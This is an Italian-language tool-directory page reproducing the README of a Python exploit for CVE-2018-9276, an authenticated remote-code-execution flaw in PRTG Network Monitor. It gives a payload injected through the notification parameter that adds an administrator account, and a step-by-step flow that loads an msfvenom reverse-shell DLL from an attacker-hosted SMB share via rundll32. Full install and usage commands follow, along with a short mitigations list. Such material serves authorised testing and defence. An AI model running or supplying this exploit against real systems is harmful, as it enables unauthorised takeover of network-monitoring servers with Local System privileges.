Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-9276 — CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticata. Solo per scopi educativi e test di penetrazione autorizzati. | Kitploit
Strumenti/GitHubGitHub/bardlaudian/cve-2018-9276
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticata. Solo per scopi educativi e test di penetrazione autorizzati.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticato

Python CVE Platform

⚠️ Disclaimer: Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo solo contro sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta. L'uso non autorizzato è illegale.


Sommario

  • Panoramica
  • Dettagli della vulnerabilità
  • Come funziona
  • Requisiti
  • Installazione
  • Utilizzo
  • Esempi
  • Mitigazioni
  • Riferimenti

Panoramica

PRTG Network Monitor è uno strumento di monitoraggio di rete sviluppato da Paessler AG. Le versioni precedenti alla 18.2.39 sono vulnerabili a un'iniezione di comandi autenticata tramite la funzionalità delle notifiche, consentendo a un attaccante con credenziali valide di ottenere l'esecuzione remota di codice (RCE) come Local System (l'account di servizio predefinito per le installazioni PRTG).

Questa vulnerabilità è stata scoperta durante un penetration test da Josh Berry e segnalata a Paessler AG, che ha rilasciato una patch il 20 aprile 2018. Le è stato assegnato il CVE-2018-9276.


Dettagli della vulnerabilità


Come funziona

PRTG include un sistema di notifiche che consente agli amministratori di eseguire script quando si verificano determinati eventi. Per prevenire l'esecuzione arbitraria di codice, PRTG limita gli script eseguibili a quelli situati in una directory specifica sul server. Per impostazione predefinita, sono disponibili solo due script demo:

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

Il punto di iniezione

Lo script demo PowerShell (OutFile.ps1) passa il valore del campo Parameter di una notifica direttamente allo script senza alcuna sanitizzazione. Questo rende possibile iniettare comandi PowerShell arbitrari aggiungendoli dopo un punto e virgola:

root@kitploit:~
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

Quando PRTG esegue la notifica, il comando iniettato viene eseguito con privilegi Local System.

Nota: Lo script batch (OutFile.bat) non è vulnerabile — Paessler sembra sanitizzare l'input prima di passarlo al file batch. L'iniezione funziona solo tramite lo script .ps1.

Flusso dell'exploit

L'exploit automatizza i seguenti passaggi:

root@kitploit:~
1. Check server version → confirm target is vulnerable
2. Authenticate → obtain a valid session cookie
3. Stage a file notification → initialise a writable output file on the target
4. Trigger the file notification → execute it via /api/notificationtest.htm
5. Generate a reverse shell DLL → msfvenom (windows/shell_reverse_tcp)
6. Host the DLL → serve it over SMB from the attacker machine
7. Stage a command notification → inject rundll32.exe <UNC_PATH>,0 after the output file
8. Trigger the command notification → execute the DLL on the target
9. Catch the reverse shell → nc -nvlp <LPORT>

Perché rundll32 + SMB?

PRTG consente di eseguire come notifiche solo gli script situati nella propria directory di installazione, quindi non possiamo semplicemente caricare ed eseguire un binario arbitrario. In alternativa:

  1. Usa msfvenom per generare una reverse shell Windows come file .dll.
  2. Ospita la .dll su una condivisione SMB sulla macchina dell'attaccante.
  3. Inietta un comando rundll32.exe \\attacker\share\payload.dll,0 tramite il parametro della notifica PowerShell.

rundll32.exe può caricare ed eseguire una DLL da un percorso UNC, aggirando la restrizione su quali file PRTG può eseguire direttamente.


Requisiti

  • Python 3.8+
  • msfvenom (parte di Metasploit Framework)
  • netcat (nc)
  • impacket — necessario solo per il server SMB integrato (opzionale, vedi --no-smb)
root@kitploit:~
pip install impacket

Se disponi già di un metodo per ospitare la DLL (ad es. impacket-smbserver, exploit/multi/handler di Metasploit, o un altro server SMB), puoi saltare del tutto impacket utilizzando --no-smb e --shell-location.


Installazione

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # only impacket

Utilizzo

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

options:
  -i, --host            Target IP or hostname
  -p, --port            Target port (e.g. 80 or 443)
  --lhost               Local IP for the reverse shell callback
  --lport               Local port for the reverse shell callback
  --user                PRTG username (default: prtgadmin)
  --password            PRTG password (default: prtgadmin)
  --https               Use HTTPS (self-signed certificates accepted)
  --no-smb              Skip the built-in SMB server (payload already hosted)
  --shell-location      Override the UNC path to the DLL payload
  -v, --verbose         Enable verbose / debug output

Esempi

Utilizzo di base (HTTP, credenziali predefinite)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

Target HTTPS con credenziali personalizzate

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

Salta il server SMB integrato (payload ospitato esternamente)

root@kitploit:~
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support

# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\share\payload.dll'

Mitigazioni

  • Aggiorna PRTG alla versione 18.2.39 o successiva — questa è l'unica soluzione completa.
  • Cambia le credenziali predefinite — la vulnerabilità richiede l'autenticazione; credenziali deboli o predefinite (prtgadmin / prtgadmin) abbassano drasticamente la barriera allo sfruttamento.
  • Limita l'accesso di rete all'interfaccia web di PRTG (regole firewall, VPN, ecc.).
  • Monitora i log di PRTG per esecuzioni di test di notifica inattese.

Riferimenti

  • Scoperta originale — CodeWatch (Josh Berry)
  • NVD — CVE-2018-9276
  • Cronologia delle patch di Paessler AG
  • PoC originale di wildkindcc
Scarica lo strumento
CampoValore
CVECVE-2018-9276
Versioni interessatePRTG Network Monitor < 18.2.39
TipoIniezione di comandi autenticata
PrivilegiRichiede credenziali PRTG valide
ImpattoEsecuzione remota di codice come Local System
Punteggio CVSS7.2 (Alto)
PatchPRTG 18.2.39 (rilasciata il 20 aprile 2018)